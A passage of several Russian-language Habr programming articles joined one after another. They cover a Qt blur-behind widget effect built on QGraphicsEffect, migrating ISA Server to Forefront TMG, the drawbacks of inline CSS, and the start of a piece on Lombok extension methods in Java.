захват изображения нижележащих виджетов там. Однако это приведёт к рекурсивной перерисовке и, как результат, к переполнению стека. Значит, требуется какое-то более изощрённое решение.  Если посмотреть список всех событий, предоставляемых Qt, то можно найти упоминание о `QEvent::RepaintRequest` и `QEvent::UpdateRequest`, но и эти события нам не подойдут. Можно попробовать перехватывать вообще все события, которые так или иначе могут приводить к перерисовке (например, изменение размеров или положения мыши, нажатия на клавиатуру и проч.), но и в таком случае мы либо пропустим какие-то варианты, либо будем перерасходовать ресурсы в пустую, поскольку не знаем логики перерисовки виджетов, находящихся под нашим. Кроме того, необходимо помнить о том, что некоторые виджеты могут иметь динамическое содержимое (анимации, стикеры, видео и т.п.).  В итоге мы попадаем в ловушку. Вроде как мы уже продумали и частично реализовали подход, но использовать его не получается. Если поразмышлять дальше, то мы придём к следующему наблюдению: попытки отлова событий (как перерисовки, так и других) — тупиковый вариант, поскольку эти события попадают в фильтр **до того**, как они попадут в целевой объект. А нам нужно их обработать **после того**, как целевой объект их получит. Другими словами, нам необходимо каким-то образом вклиниться в процесс перерисовки. Нужен способ подменить часть или всю реализацию метода `QWidget::render()` (такой способ называется code injection). Но каким же образом можно реализовать это? Давайте попробуем мыслить немного шире. В Qt уже есть нечто, что реализует подобный эффект. Действительно, мы можем использовать `QGraphicsBlurEffect` для создания эффекта размытия, но это немного не то, что нужно нам — ведь этот эффект размывает не то, что находится **под** виджетом, а **сам** виджет. Чтобы понять, как можно использовать этот эффект, давайте для начала разберёмся, какая именно «магия» заставляет его работать. ### Под капотом QGraphicsEffect Заглянем для начала в `QGraphicsBlurEffect::draw()`. Кажется, там должно происходить что-то интересное: ``` void QGraphicsBlurEffect::draw(QPainter *painter) { Q_D(QGraphicsBlurEffect); if (d->filter->radius() < 1) { drawSource(painter); return; } PixmapPadMode mode = PadToEffectiveBoundingRect; QPoint offset; QPixmap pixmap = sourcePixmap(Qt::LogicalCoordinates, &offset, mode); if (pixmap.isNull()) return; d->filter->draw(painter, offset, pixmap); } ``` Здесь интересны вызовы `drawSource(painter)` и `sourcePixmap(Qt::LogicalCoordinates, &offset, mode)`. Первый только отрисовывает сам виджет, если радиус размытия меньше единицы (то есть размывать ничего не надо), а вот второй получает исходное изображение виджета, которое далее передается в `d->filter->draw(painter, offset, pixmap)` для размытия. Вот это интересно: мы же тоже пытались захватить изображение виджета. Может, магия где-то в реализации `QGraphicsEffect::sourcePixmap()`? Заглянем в код и этого метода: ``` QPixmap QGraphicsEffect::sourcePixmap(Qt::CoordinateSystem system, QPoint *offset, QGraphicsEffect::PixmapPadMode mode) const { Q_D(const QGraphicsEffect); if (d->source) return d->source->pixmap(system, offset, mode); return QPixmap(); } ``` Здесь явно используется некий source. Немного поискав, можно найти абстрактный класс `QGraphicsEffectSourcePrivate`; очевидно, что интересующая нас реализация в наследниках (некоторые части кода опущены, чтобы упростить понимание): ``` QPixmap QWidgetEffectSourcePrivate::pixmap(Qt::CoordinateSystem system, QPoint *offset, QGraphicsEffect::PixmapPadMode mode) const { // ... // ... qreal dpr(1.0); if (const auto *paintDevice = context->painter->device()) dpr = paintDevice->devicePixelRatioF(); else qWarning("QWidgetEffectSourcePrivate::pixmap: Painter not active"); QPixmap pixmap(effectRect.size() * dpr); pixmap.setDevicePixelRatio(dpr); pixmap.fill(Qt::transparent); m_widget->render(&pixmap, pixmapOffset, QRegion(), QWidget::DrawChildren); return pixmap; } ``` Получается, что этот код делает ровно то же самое, что написали и мы ранее — захватывает изображения виджета с использованием `QWidget::render()`! Но всё же пока ещё непонятно, за счёт чего именно работает `QGraphicsBlurEffect`. Давайте пока подытожим то, что мы уже знаем: * `QGraphicsBlurEffect` использует `QWidget::render()` для захвата изображения для его дальнейшего размытия. * Захват изображения делегируется наследникам `QGraphicsEffectSourcePrivate`, в частности, для виджетов используется класс `QWidgetEffectSourcePrivate`. * `QGraphicsBlurEffect` реализует виртуальный метод `draw()`, в котором может использовать либо прямую отрисовку виджета, либо захваченное изображение для дальнейшей его обработки и отрисовки. Теперь появляется ещё один интересный вопрос: а где же вызывается сам метод `QGraphicsEffect::draw()`? Очевидно, он должен быть где-то внутри отрисовки виджета. Давайте взглянем на код `QWidget::render()` (опустим часть, не относящуюся к делу): ``` void QWidget::render(QPainter *painter, const QPoint &targetOffset, const QRegion &sourceRegion, RenderFlags renderFlags) { // ... d->render(target, targetOffset, toBePainted, renderFlags); // ... } ``` Внутри этого метода довольно много кода, но, по сути, помимо геометрических и других вычислений сама отрисовка производится во внутреннем методе `QWidgetPrivate::render()`: ``` void QWidgetPrivate::render(QPaintDevice *target, const QPoint &targetOffset, const QRegion &sourceRegion, QWidget::RenderFlags renderFlags) { // ... // ... // Set backingstore flags. int flags = DrawPaintOnScreen | DrawInvisible; if (renderFlags & QWidget::DrawWindowBackground) flags |= DrawAsRoot; if (renderFlags & QWidget::DrawChildren) flags |= DrawRecursive; else flags |= DontSubtractOpaqueChildren; flags |= DontSetCompositionMode; // Render via backingstore. drawWidget(target, paintRegion, offset, flags, sharedPainter()); // Restore shared painter. if (oldSharedPainter) setSharedPainter(oldSharedPainter); } ``` Тут тоже довольно много кода, относящегося к геометрии на плоскости, и некоторых проверок, но важно, что и здесь для отрисовки нас перенаправляют в вызов ещё одного внутреннего метода `QWidgetPrivate::drawWidget()`. Не буду приводить здесь полный код (он весьма объёмный), покажу лишь самую интересную для решаемой задачи часть: ``` void QWidgetPrivate::drawWidget(QPaintDevice *pdev, const QRegion &rgn, const QPoint &offset, int flags, QPainter *sharedPainter, QWidgetBackingStore *backingStore) { if (rgn.isEmpty()) return; const bool asRoot = flags & DrawAsRoot; bool onScreen = paintOnScreen(); Q_Q(QWidget); #if QT_CONFIG(graphicseffect) if (graphicsEffect && graphicsEffect->isEnabled()) { QGraphicsEffectSource *source = graphicsEffect->d_func()->source; QWidgetEffectSourcePrivate *sourced = static_cast (source->d\_func()); if (!sourced->context) { QWidgetPaintContext context(pdev, rgn, offset, flags, sharedPainter, backingStore); sourced->context = &context if (!sharedPainter) { setSystemClip(pdev->paintEngine(), pdev->devicePixelRatioF(), rgn.translated(offset)); QPainter p(pdev); p.translate(offset); context.painter = &p graphicsEffect->draw(&p); // <-- вызов отрисовки через QGraphicsEffect setSystemClip(pdev->paintEngine(), 1, QRegion()); } else { context.painter = sharedPainter; if (sharedPainter->worldTransform() != sourced->lastEffectTransform) { sourced->invalidateCache(); sourced->lastEffectTransform = sharedPainter->worldTransform(); } sharedPainter->save(); sharedPainter->translate(offset); setSystemClip(sharedPainter->paintEngine(), sharedPainter->device()->devicePixelRatioF(), rgn.translated(offset)); graphicsEffect->draw(sharedPainter); // <-- вызов отрисовки через QGraphicsEffect setSystemClip(sharedPainter->paintEngine(), 1, QRegion()); sharedPainter->restore(); } sourced->context = 0; // Native widgets need to be marked dirty on screen so painting will be done in correct context // Same check as in the no effects case below. if (backingStore && !onScreen && !asRoot && (q->internalWinId() || !q->nativeParentWidget()->isWindow())) backingStore->markDirtyOnScreen(rgn, q, offset); return; // <-- возврат из отрисовки } } #endif // QT\_CONFIG(graphicseffect) // even more code ... // ... // ... } ``` Если мы проанализируем этот код, то станет очевидным, что `QGraphicsEffect` берёт на себя **всю отрисовку** виджета — это и есть code injection! Ура, теперь у нас есть абсолютно легальный способ подменить реализацию отрисовки виджета! Осталось придумать, как это использовать. ### Делегируй это! Теперь мы понимаем, что используя `QGraphicsEffect` можем полностью подменить отрисовку виджета, но как это может помочь реализовать эффект Blur Behind? Идея заключается в том, чтобы захватить изображение внутри `QGrаphicsEffect`, но *делегировать* отрисовку размытого изображения другому виджету! Схематично это можно изобразить так: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/29b/a9b/868/29ba9b8689dd720c75e38382d8d944a8.png)Мы захватываем изображение виджета, вызывая для него `QWidget::render()`, но в качестве устройства вывода используем `QPixmap`. Далее полученное изображение мы отрисовываем на контексте целевого виджета, а размытую копию отрисовываем на другом виджете, поверх целевого. Более того, теперь мы можем управлять практически всеми параметрами отрисовки. Например, можем сделать эффект soft focus (он изображён на картинке), когда основное изображение полупрозрачное и как бы «просвечивает» сквозь размытый фон. Далее мы можем развивать идею дальше: нам не всегда необходимо размывать весь виджет, зачастую достаточно некоторой области. Значит, мы можем использовать только необходимый регион для размытия, попутно сэкономив на памяти и вычислениях, поскольку нам теперь необходима лишь некоторая часть исходного изображения. Давайте теперь сосредоточимся на реализации всего описанного выше. Собираем всë вместе ------------------- Поскольку реализация довольно объёмная, приведу здесь только самые интересные моменты, а полный код можно найти [на странице проекта в Github](https://github.com/progzdeveloper/HabrQtDemos). Отмечу, что реализация не идеальна, но демонстрирует основные идеи. Начнём с определения класса: ``` class BlurBehindEffect : pubic QGraphicsEffect { Q_OBJECT public: BlurBehindEffect(QWidget* parent = Q_NULLPTR); // Назначение региона для размытия void setRegion(const QRegion& region); // Прочие методы управления свойствами // ... // Метод позволяющий делегировать отрисовку размытого // изображения целевого виджета в другой виджет void render(QPainter* painter); protected: // переопределение виртуального метода QGraphicsEffect void draw(QPainter* painter) Q_DECL_OVERRIDE; private: // Будем использовать Pimpl идиому чтобы скрыть детали реализации std::unique_ptr d; }; ``` Пара слов о внутреннем классе и его определении: ``` class BlurBehindEffectPrivate { QImage sourceImage_; // изображение исходной части виджета QImage blurredImage_; // размытое изображение QRegion region_; // размываемый регион double downsamplingFactor_; // см. далее int blurRadius_; // радиус размытия bool sourceUpdated_; // флаг изменения изображения целевого виджета // ... прочие переменные // размытие изображения QImage blurImage(const QImage& _input); // захват изображения QPixmap grabPixmap(QWidget* _widget); // отрисовка размытого изображения void renderImage(QPainter* _painter, const QImage& _image); }; ``` Способ делегирования отрисовки, применяемый в данном случае, прост. Наш класс предоставляет публичный метод `void BlurBehindEffect::render(QPainter*)`. Это немного нарушает инкапсуляцию, более корректный вариант просто займёт ещё больше кода, но суть решения от этого не поменяется. Виджет, который будет отвечать за делегированную отрисовку, сможет, обращаясь по указателю на наш класс, вызывать этот метод и передавать экземпляр `QPainter` с собственным контекстом. Например, так: ``` class OverlayBlurWidget : public QWidget { Q_OBJECT public: OverlayBlurWidget(QtBlurBehindEffect* effect, QWidget* parent = Q_NULLPTR); void paintEvent(QPaintEvent*) Q_DECL_OVERRIDE { QPainter painter(this); if (m_effect) m_effect->render(&painter); } void resizeEvent(QResizeEvent* _event) { const QRect r = rect(); if (m_effect) m_effect->setRegion(r); QWidget::resizeEvent(_event); } private: QPointer m\_effect; }; ``` Теперь вернёмся к реализации самого эффекта, в частности, к методам отрисовки (код немного упрощён): ``` void BlurBehindEffect::draw(QPainter* painter) { QWidget* w = qobject_cast(parent()); if (!w) return; const QRect bounds = d->region\_.boundingRect(); // «захват» изображения целевого виджета (см. далее) QPixmap pixmap = d->grabSource(); // отрисуем немодифицированное изображение, иначе его не будет видно вовсе painter->drawPixmap(0, 0, pixmap); // если регион не пуст и радиус размытия больше 1 if (!d->region\_.isEmpty() && d->blurRadius\_ > 1) { // расчет размера области копирования c учетом downsampling const double dpr = pixmap.devicePixelRatioF(); const QSize s = (QSizeF(bounds.size()) \* (dpr / d->dowmsamplingFactor\_)).toSize(); // копирование масштабированной области QImage pixmapPart = std::move(pixmap.copy(bounds).scaled(s, Qt::IgnoreAspectRatio, Qt::SmoothTransformation).toImage(); if (d->sourcePixmap\_ != pixmapPart) { // если скопированная область отличается от хранимой, // присвоим новую и выставим флаг обновления d->sourceImage\_ = pixmapPart; d->sourceUpdated\_ = true; } } } ``` Показанный выше метод переопределяет виртуальный метод `QGraphicsEffect::draw()`. Как мы видели ранее, именно он используется в отрисовке, поэтому важно после захвата изображения целевого виджета отрисовать это изображение, иначе та часть виджета, которая не подвергалась размытию, так и не будет отрисована никогда. Для захвата изображения можно использовать уже готовый метод `QGraphicsEffect::sourcePixmap()`, но для него невозможно указать регион, который мы хотим захватить. Следовательно, мы можем либо написать захват изображения сами (аналогично тому, как это было показано раньше) с учётом только нужного участка виджета, либо использовать метод `sourcePixmap()` и затем вырезать из всего изображения нужную часть. Второй вариант мне показался слишком расточительным по ресурсам. Также, чтобы впустую не тратить ресурс процессора, проверим, есть ли смысл размывать изображение. Ведь если оно совпадает с ранее полученным, то нет смысла выполнять «тяжёлый» алгоритм размытия, можно сразу вернуть уже размытое изображение. Как ранее упоминалось, для размытия могут использоваться разные алгоритмы: ещё одной из возможных оптимизаций нагрузки на процессор является перенос алгоритма размытия на видеокарту. Мы можем использовать для этого функции OpenGL. В таком случае все основные расчёты будут производиться на графической карте, а на процессор ляжет лишь копирование памяти из или в видеокарту. Как ни странно, для моих тестов это не дало особого положительного эффекта. Теперь перейдём к методу `BlurBehindEffect::render()` — именно он будет вызывать вышележащий виджет для получения размытой копии целевого виджета: ``` void BlurBehindEffect::render(QPainter* painter) { if (d->blurRadius_ <= 1 || d->sourceImage_.isNull()) return; // нет исходного изображения или радиус размытия меньше 1 // ничего не поменялось — отрисовываем уже размытое изображение if (!d->sourceUpdated_) return d->renderImage(painter, d->blurredImage_); // размываем изображение d->blurredImage_ = std::move(d->blurImage(d->sourceImage_)); // отрисовываем изображение d->renderImage(painter, d->blurredImage_); // сбрасываем флаг обновления d->sourceUpdated_ = false; } ``` Внутри этого метода вызываются внутренние методы в соответствии с нашей изначальной стратегией: размытие изображения (при необходимости) и отрисовка на целевом контексте. В нашем случае перенос размытия в метод `draw()` не даст особого эффекта, потому что в конечном итоге интервал между вызовами `draw()` и `render()` будет достаточно мал. Я также пробовал переносить размытие изображения в отдельный поток, но и это не дало положительного эффекта, больше времени было потрачено на копирование изображения из и в поток. В итоге мы получили подход, позволяющий получать эффект Blur Behind для элементов внутри окна. Его можно модифицировать для получения других спецэффектов. Например, чтобы сделать эффект увеличительного стекла, или же, наоборот, уменьшенное изображение виджета для предпросмотра большого количества информации в нём. Можно пойти и другим путём и помимо прочего использовать анимацию параметров размытия - простор для фантазии практически неограничен! Для проверки всех изложенных идей было написано тестовое приложение, скриншоты которого показаны в начале этой части. Оно позволяет менять параметры эффекта и визуально отследить их влияние на отрисовку и производительность решения. Для эмуляции динамического контента был использован [пример](https://doc.qt.io/qt-6/qtwidgets-widgets-wiggly-example.html) из документации Qt. Полный код тестового примера можно найти в [репозитарии](https://github.com/progzdeveloper/HabrQtDemos).  ### Собираем всë вместе: демонстрационное приложение Теперь, вооружившись всеми знаниями и приемами из всех частей этой статьи, рассмотрим реализацию демонстрационного приложения. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/706/94e/9e0/70694e9e0e8ab998708ec9d772437054.png)На рисунке показан скриншот приложения сразу после загрузки тестового изображения.  По своему функционалу - это простенький графический редактор, наподобие небезызвестного Paint. В качестве основного виджета рисования был использован слегка модифицированный [пример](https://doc.qt.io/qt-6/qtwidgets-widgets-scribble-example.html) из документации Qt. За основу главного окна был взят код из примера многослойных окон из [предыдущей части статьи](https://habr.com/ru/company/vk/blog/691200/).  Основные модификации коснулись панелей управления и уведомлений. Чтобы было удобнее использовать эффект и повысить повторное использование весь код связанный с blur behind эффектом был вынесен в отдельный базовый класс `OverlayPanel`. Сами панели (классы `ControlPanel` и `PopupPanel`) теперь наследуются от этого базового класса. Вот немного упрощенный исходный код класса `OverlayPanel` c дополнительными комментариями:  ``` class OverlayPanel : public QWidget { Q_OBJECT public: OverlayPanel(BlurBehindEffect* _effect, QWidget* _parent = nullptr) : QWidget(_parent) , effect_(_effect) { if (effect_) { // соединим сигнал о необходимости перерисовки с функцией repaint() connect(effect_, &BlurBehindEffect::repaintRequired, this, qOverload<>(&OverlayPanel::repaint)); // если эффект отключен, прячем весь виджет connect(effect_, &QGraphicsEffect::enabledChanged, this, &OverlayPanel::setVisible); } setAttribute(Qt::WA_TranslucentBackground, true); } void resizeEvent(QResizeEvent* _event) Q_DECL_OVERRIDE { QWidget::resizeEvent(_event); // поскольку вычисления QPainterPath довольно затратные, // закешируем здесь форму панели cachedPath_ = clipPath(); } void paintEvent(QPaintEvent* _event) Q_DECL_OVERRIDE { QPainter painter(this); painter.setRenderHints(QPainter::Antialiasing|QPainter::SmoothPixmapTransform); // установим cachedPath_ для придания панели необходимой формы painter.setClipPath(cachedPath_); QPainterPath path = cachedPath_; // переместим форму панели относительно родительского виджета path.translate(geometry().topLeft()); if (effect_) // отрисуем размытое изображение, если эффект не nullptr effect_->render(&painter, path); else QWidget::paintEvent(_event); } // виртуальный метод позволяющий наследникам переопределять форму панели virtual QPainterPath clipPath() const { QPainterPath path; path.addRect(rect().adjusted(0, 0, -1, -1)); return path; } protected: QPointer effect\_; QPainterPath cachedPath\_; }; ``` Стоит отметить несколько важных моментов.  При реализации этого демонстрационного приложения я столкнулся со следующей особенностью. Реализация эффекта размытия описанная ранее отлично работает, если эффект используется только в одном виджете, но если виджетов несколько (как на скриншоте), то некоторые из них могут перестать работать так как задумывалось. Связано это с тем что при изменении размеров мы размываем только часть виджета. Этот регион размытия, очевидно, будет разным для разных панелей, но поскольку панели не пересекаются по геометрии, то правильно отрисовываться будет только одна из них. Ситуация ухудшается тем, что некоторые панели могут быть невидимыми, и в итоге эффект не будет видим вовсе. Чтобы преодолеть эти сложности необходимо задать регион на весь размываемый виджет, а в класс `BlurBehindEffect` дописать функцию, которая будет вырезать необходимую часть из размытого изображения и отрисовывать только её. Поскольку теперь система координат у нас отсчитывается от верхнего левого угла **размываемого виджета** (а не панели), то необходимо переместить `QPainterPath` в правильную локацию. При отрисовке панели мы теперь будем передавать помимо экземпляра `QPainter` еще и регион самой панели. Вот код дополнительного метода `render()` в классе `BlurBehindEffect` с поясняющими комментариями: ``` void BlurBehindEffect::render(QPainter* _painter, const QPainterPath& _clipPath) { if (blurRadius() <= 1 || d->sourceImage_.isNull()) return; if (_clipPath.isEmpty()) return render(_painter); const QRect regionRect = d->region_.boundingRect(); // прямоугольник размываемого региона const QRectF targetBounds = _clipPath.boundingRect(); // прямоугольник панели if (!regionRect.contains(targetBounds.toRect())) { qWarning() << "target path is outside of source region"; return; } if (d->sourceUpdated_) // необходимо размыть изображение, поскольку оно поменялось { d->blurredImage_ = std::move(d->blurImage(d->sourceImage_)); d->sourceUpdated_ = false; } // промасштабируем размытое изображение в масштаб 1:1 QImage image = d->blurredImage_.scaled(regionRect.size(), Qt::IgnoreAspectRatio, Qt::SmoothTransformation); // выставим прозрачность _painter->setOpacity(d->blurOpacity_); // отрисовываем часть размытого изображения в координатах панели (от верхнего левого угла) _painter->drawImage(QPointF{}, image, targetBounds); } ``` ### Заключение Хочется отметить, что зачастую современный дизайн интерфейса — вызов, без которого эта статья вряд ли была бы настолько ценной. Также хотелось бы поделиться с читателями своими, немного философскими, наблюдениями. Часто программирование, особенно объектно-ориентированное (ООП), сравнивают с созданием кирпичиков, конструктором, а сам процесс программирования — со строительством. В целом, такое сравнение вполне верное, особенно учитывая, что в обоих случаях решается конкретная инженерная задача. Но, как показывает практика и эта статья, в отличие от обычного Lego библиотека Qt (да и любая хорошо спроектированная ООП-библиотека) позволяет создавать *такие* решения и использовать предоставляемые объекты *в таких сочетаниях*, которые даже сами разработчики не закладывали и не могли предвидеть! Этот удивительный факт лишний раз доказывает, насколько гибким может быть ООП при правильном использовании. Этот скромный цикл из двух статей проливает свет лишь на малую часть возможностей библиотеки Qt. Если я навёл и подтолкнул читателей к изучению и более широкому использованию Qt, то можно считать, что цель достигнута.
https://habr.com/ru/post/701382/
null
ru
null
# Миграция с ISA 2004/2006 на Forefront TMG ![](https://habrastorage.org/r/w780q1/storage2/6cb/410/c78/6cb410c78876f4e415d930b84c8af419.jpg)На смену Internet Security & Acceleration (ISA) Server пришел Forefront Threat Management Gateway (TMG). В данном переводе мы рассмотрим процесс перехода с ISA 2004/2006 на Forefront TMG. ISA Server 2004/2006 не предусматривает перехода на TMG обычным обновлением — FF TMG работает только на 64-битных ОС семейства Windows, тогда как ISA — только на 32-битных. Поэтому, перенос правил и конфигурации с ISA на TMG остается единственным вариантом решения этой проблемы. Такой перенос возможно осуществить с ISA 2004 SP3 либо с ISA 2006 SP1. В зависимости от того, какая у вас версия ISA, возможны четыре варианта миграции: (исключая  TMG MBE — Medium Business Edition) * ISA Server Standard -> TMG Standard * ISA Server Standard -> TMG Enterprise (сервер в изолированном режиме) * ISA Server Enterprise (массив из одного сервера/сервер в составе массива) -> TMG Enterprise (сервер в изолированном режиме) * ISA Server Enterprise (массив из одного сервера/несколько массивов) -> TMG Enterprise (управляемый сервером EMS) ##### Подготовка Переход с предыдущих версий ISA на TMG требует тщательного планирования, анализа и внимания к мелочам. Перед тем, как начать переход, соберите и запишите всю наиболее важную информацию о существующей системе, включающую в себя: **IP-адресация** – запишите IP-адреса всех сетевых интерфейсов, включая интерфейс для коммуникаций между членами внутри массива и виртуальные IP-адреса, используемые NLB (балансировкой нагрузки сети). Если вы используете VPN, также запишите диапазоны адресов для удаленного доступа клиентов и сетей site-to-site (удаленные друг от друга сети). **Маршрутизация** – запишите все статические маршруты, необходимые  схемам «сеть за сетью». **DNS** – сохраните отдельно все записи «A host» или алиасы CNAME, используемые брандмауэром ISA. Включая статически сконфигурированные host-записи самого ISA сервера, алиасы массива прокси-сервера или клиентские записи WPAD (протокол автоматической настройки прокси). **WPAD** – если на вашем предприятии настройки клиентам раздает DHCP, учтите, что изменения коснутся и их. **Сертификаты** — экспортируйте все сертификаты и ключи, необходимые для миграции на TMG, включая сертификаты компьютеров и SSL-сертификаты, используемые правилами публикации HTTPS. Имейте в виду, что в Windows Server 2008R2 по умолчанию установлено гораздо меньше корневых сертификатов (чем в Windows Server 2008 или в предыдущих версиях Windows Server). **Active Directory** – если у вас есть опубликованные веб-сайты, использующие расширение протокола Kerberos — Constrained Delegation (KCD), настройте учетную запись компьютера с новой системой для делегирования. Если вы создавали запись SPN (сопоставление имени участника службы) в базе данных Kerberos для сервера хранения конфигурации (CSS), то, при необходимости, обновите ее. **Решения сторонних разработчиков** – учтите, что если вы устанавливали сторонние дополнения для ISA, то они не будут работать после миграции. Посетите страницы разработчиков, чтобы обновить плагины уже для TMG. **Регулярные и пользовательские отчеты** — сохраните все отчеты, они также не будут перенесены в FF TMG. Не думайте, что переход на TMG решит все ваши существующие проблемы с текущей конфигурацией ISA. Воспользуйтесь утилитой [ISA Best Practices Analyzer](http://www.microsoft.com/download/en/details.aspx?displaylang=en&id=811), чтобы провести проверку системы и решить все проблемы *до* миграции. При планировании перехода с ISA на TMG также должны быть учтены системные ресурсы. Несмотря на выигрыш в производительности на 64-битных системах, TMG включает в себя множество новых возможностей, касающихся защиты и безопасности, которые будут потреблять дополнительные ресурсы. Воспользуйтесь утилитой [Forefront TMG 2010 Capacity Planning Tool](http://www.microsoft.com/download/en/details.aspx?displaylang=en&id=15196), чтобы определить, соответствует ли ваше железо системным требованиями TMG. Если вы закончили подготовку и новая конфигурация TMG уже прошла первоначальное тестирование, то можете приступать к фактическому переходу. ##### Экспорт из Internet Security & Acceleration Server Итак, откройте консоль управления ISA — * для Standard Edition: выделите имя ISA сервера и в контекстном меню выберите пункт Export (Backup) ![](https://habrastorage.org/r/w1560/storage2/29b/c08/850/29bc0885072677d97a2cbe8d852ccf9f.png) * для Enterprise Edition: также выберите пункт Export (Backup) в меню, как показано ниже: ![](https://habrastorage.org/r/w1560/storage2/a21/3c3/a7d/a213c3a7d408146a382378f49ea5972e.png) Запустится мастер экспорта. Поставьте галочки «Export confidential information» и «Export user permission settings», затем задайте пароль для шифрования экспортируемых данных. ![](https://habrastorage.org/r/w780q1/storage2/fe5/ea7/b4c/fe5ea7b4c9c6df3712b526fc73bcf854.jpg) Нажмите «Next» и укажите, куда сохранить XML-файл. Этот файл позднее мы импортируем в TMG. ##### Импорт в Forefront Threat Management Gateway Перед тем, как импортировать настройки в TMG, убедитесь, что не запускался мастер «Приступая к работе» (этот мастер создает базовые правила доступа через брандмауэр). Если же он запускался, то удалите все созданные этим мастером правила доступа — при соблюдении этого условия, импорт настроек в TMG должен пройти без ошибок. NB: При переходе с ISA Server Enterprise на TMG, управляемый сервером EMS вы должны импортировать конфигурацию на EMS до создания массива или добавления членов массива. Также, при переходе с ISA Server Enterprise (массив из одного сервера/сервер в составе массива) на TMG Enterprise (в режиме изолированного сервера) понадобится сделать одно дополнительное действие — о нем будет написано в конце поста. На компьютере с TMG открываем консоль управления — * для редакции Standard или Enterprise: выделите имя сервера Forefront и в контекстном меню выберите пункт Import (Restore) ![](https://habrastorage.org/r/w780q1/storage2/9f4/1ba/590/9f41ba59068b7d16a4f63bb8134dad11.jpg) * для редакции Enterprise, управляемой сервером EMS: также выберите пункт Import (Restore) в меню, как показано ниже: ![](https://habrastorage.org/r/w1560/storage2/9ce/973/c49/9ce973c49a3baf030f5802c1f12e79d9.png) Запустится мастер импорта — укажите здесь путь к XML-файлу, в который мы ранее выполнили экспорт настроек и введите пароль, заданный во время экспорта. После того, как мастер импорта сообщит, что все прошло успешно, нажмите кнопку «Apply», чтобы сохранить изменения и обновить конфигурацию Threat Management Gateway. ![](https://habrastorage.org/r/w1560/storage2/b8d/e01/ef1/b8de01ef1411a082daa87143d0864d36.png) ##### Экспорт из ISA Server Enterprise (массив из одного сервера/сервер в составе массива) Перед тем, как импортировать настройки ISA сервера (редакция Enterprise — массив из одного сервера или сервер в составе массива) в TMG Enterprise (в режиме изолированного сервера), требуется предварительно преобразовать экспортированный XML-файл в формат, с которым сможет работать вышеуказанная версия TMG. Это необходимо потому, что экспортированный файл ISA Enterprise содержит политики на уровне предприятия, которые не поддерживаются TMG версией в режиме изолированного сервера. Для конвертирования воспользуйтесь утилитой [EE Single Server Conversion Tool for Forefront TMG](http://www.microsoft.com/download/en/details.aspx?DisplayLang=en&id=11183) После установки утилиты для преобразования файла, откройте командную строку, перейдите в папку C:\Program Files (x86)\Microsoft Forefront TMG Tools\EESingleServerConversion и дайте команду: `EESingleServerConversion.exe /s <исходный XML-файл> /t <конечный XML-файл>` Затем выполните действия так же, как это было описано выше для версии ISA Standard. P. S. 1. Forefront TMG устанавливает роль Web Server (IIS). Обратите внимание, что этот компонент не удаляется при удалении Forefront TMG; 2. Microsoft Forefront TMG не поддерживает более 300 лицензированных пользователей.
https://habr.com/ru/post/135438/
null
ru
null
# Почему инлайнить стили — плохо Стилизовать страницу можно разными способами: [встроить стили](https://htmlacademy.ru/courses/307/run/15?utm_source=habr&utm_medium=special&utm_campaign=inline200821) прямо в HTML, импортировать, создать с помощью JavaScript или подключить из отдельного файла. Среди разработчиков хорошим тоном считается использовать последний способ, то есть писать стили в отдельном файле и затем подключать их с помощью тега `link`. А вот внутренних стилей стараются избегать, хотя их применение тоже бывает оправдано. Встроить стили глобально: ``` .block {...} ... ``` Встроить с помощью атрибута `style`: ``` ``` Импортировать стили из внешних файлов: ``` @import "style/header.css" @import "style/footer.css" ``` Подключить внешние таблицы стилей: ``` ``` ### Почему разработчики предпочитают внешние стили Чаще всего в веб-разработке можно встретить проекты с внешними таблицами стилей. Дело в том, что такой способ стилизации удобен не только для создания сайтов или веб-приложений с нуля, но и для их дальнейшей поддержки. С его помощью легко управлять CSS-правилами, следить за наследованием и каскадностью, поддерживать чистоту кода в целом. Инлайн-стили не так гибки, как внешний CSS. Их сложнее поддерживать и почти невозможно переопределить. Из-за внутренних стилей HTML-файл раздувается и становится тяжелее. Функциональность CSS не так обширна, как при работе с внешними стилями. Чтобы понять всю глубину проблемы, сравним оба способа стилизации. **Поддержка кода.** При подключении внешнего стилевого файла CSS отделён от разметки, поэтому его проще поддерживать. Подключение стилей извне также позволяет использовать препроцессоры, чтобы ускорить процесс разработки и сделать код легко читаемым. А если вы работаете над проектом вместе с другими людьми, такой способ позволяет всем участникам быстрее ориентироваться в стилях. ![Пример стилей в стороннем CSS-файле](https://habrastorage.org/r/w1560/getpro/habr/upload_files/6ed/0c3/d01/6ed0c3d01483a18982d5c8a6f5ba1b64.png "Пример стилей в стороннем CSS-файле")Пример стилей в стороннем CSS-файлеПри использовании внешнего CSS вы видите структуру своего проекта. Вы понимаете, где и какие свойства заданы элементу и можете легко их изменить. Вы понимаете логику: какие свойства переопределены и почему. Разбираетесь в [наследовании и каскадировании](https://developer.mozilla.org/ru/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance) и можете управлять ими. С инлайн-стилями немного иначе. Если писать стили внутри атрибута `style`, то HTML становится трудночитаемым. Логическая структура исчезает и стили размываются по всему коду. Следить за стилизацией становится непросто, а поиск фрагмента, в котором нужно изменить CSS-правило, отнимает немало времени. И чем крупнее проект, тем сложнее управлять стилизацией. Если вынести весь CSS в тег
https://habr.com/ru/post/573768/
null
ru
null
# Методы расширения в Java ![](https://habrastorage.org/r/w1560/webt/d3/f7/s9/d3f7s912i_9vv8vreovq1jcnziy.png) В таких языках программирования, как C#, Kotlin, Groovy, Scala есть возможность расширять класс путем добавления нового функционала, при этом не требуется наследование или изменение самого изначального класса. Это реализовано с помощью специальных выражений, называемых расширения. Java, в отличие от этих языков, не имеет такой возможности из коробки и даже не планирует в ближайших релизах. Благодаря [Lombok](https://projectlombok.org/features/experimental/ExtensionMethod) это стало возможным. Методы расширения были реализованы в Lombok еще 8 лет назад (с поддержкой Eclipse), но для многих все упиралось в поддержку [плагином в IDEA](https://github.com/mplushnikov/lombok-intellij-plugin) (код компилировался, но IDE его не распознавала как валидный). Lombok плагин теперь предустановлен в [IDEA 2021.1 EAP](https://www.jetbrains.com/idea/nextversion/), и теперь он поддерживает методы расширения lombok (спасибо [Anna Kozlova](https://github.com/akozlova), [Tagir Valeev](https://github.com/amaembo), [NekoCaffeine](https://github.com/NekoCaffeine) и [Michail Plushnikov](https://github.com/mplushnikov)). Рассмотрим пример классического статического импорта: ``` import static org.apache.commons.lang3.StringUtils.capitalize; public class ExtensionMethods { public static void main(String[] args) { String str = "test"; String capitalized = capitalize(str); // 